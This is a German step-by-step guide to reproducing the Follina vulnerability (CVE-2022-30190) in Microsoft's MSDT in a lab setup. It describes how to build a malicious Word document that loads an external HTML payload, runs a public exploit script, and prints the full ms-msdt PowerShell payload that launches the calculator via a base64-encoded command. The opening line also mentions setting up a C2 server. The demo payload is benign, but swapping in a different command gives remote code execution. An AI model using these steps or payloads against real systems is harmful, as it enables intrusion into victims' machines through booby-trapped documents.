
Schritt-für-Schritt-Anleitung zur Reproduktion der MSDT-Sicherheitslücke CVE-2022-30190 (Follina) für Remotecodeausführung, einschließlich Erstellung eines schädlichen Dokuments und Einrichtung eines C2-Servers.
auch bekannt als Follina
Die Schwachstelle Follina befindet sich im Microsoft Support Diagnostic Tool (MSDT). Wenn eine Anwendung über ein URL-Protokoll das MSDT zur Unterstützung aufruft, tritt eine Remote-Code-Ausführung-Schwachstelle auf. Eine erfolgreiche Ausnutzung erlaubt es Angreifern, basierend auf den Berechtigungen der ausgeführten Anwendung, beliebigen Code auszuführen.
* Host OS: Ubuntu 22.04 LST
* Guest OS: Windows 10 Pro x64, version 2004, build 19041.1237
* Microsoft office: word 2016
Schritt 1: Erstellen Sie eine Word-Datei (.docx) und fügen Sie ein OLE-Objekt (z. B. Bitmap Image) in das Dokument ein.
Schritt 2: Entpacken Sie die .docx-Datei und bearbeiten Sie die Datei word/_rels/document.xml.rels im entpackten Ordner. Ändern Sie das gelb markierte Target="embeddings/oleObject1.bin" in Target = "http://<payload_server>/<random_name>.html!" und fügen Sie das Attribut TargetMode = "External" hinzu.

Schritt 3: Bearbeiten Sie die Datei word/document.xml im entpackten Ordner. Ändern Sie das gelb markierte Type="Embed" in Type="Link" und fügen Sie das Attribut UpdateMode="OnCall" hinzu.

Schritt 4: Öffnen Sie die .docx-Datei mit 7-zip (nicht entpacken) und legen Sie die beiden oben genannten Dateien in die .docx-Datei. Die Erstellung der bösartigen Datei ist abgeschlossen.
Laden Sie das von John Hammond veröffentlichte Follina.py herunter. Hier wird als Beispiel zunächst der einfache Aufruf des Taschenrechners verwendet:
python3 follina.py -c calc.exe -i eth0
In der Datei Follina.py, Zeilen 117–125, wird hauptsächlich die bösartige Payload (.html) erstellt. Der Inhalt ist unten dargestellt. <script>location.href... ist das Skript, das auf dem Opferrechner den Taschenrechner ausführt. Die gesamte Datei wird außerdem mit einer großen Menge zufälliger Zeichen aufgefüllt, um eine Mindestgröße von 4096 Bytes zu erreichen. Der Grund dafür ist im Artikel “Follina” MSDT Attack beschrieben.
<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'Y2FsYw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //pydvwofyowvcmgcaevgukzhjgmfirqpffuiclrgzlobvnrxknespfklndldfazyefpyxjbixgykmzeumodxedsxpaduvcqygjhrxzeqpuhdgcmpzsxkkpdzdielmoiwzknqxtxinxymsnuugffkxvzwxetrl...(4096 bytes)
</script
Nachrichtenartikel
Follina.py
Bösartiges Dokument
Schwachstellentest 1
Schwachstellentest 2
Schwachstellentest 3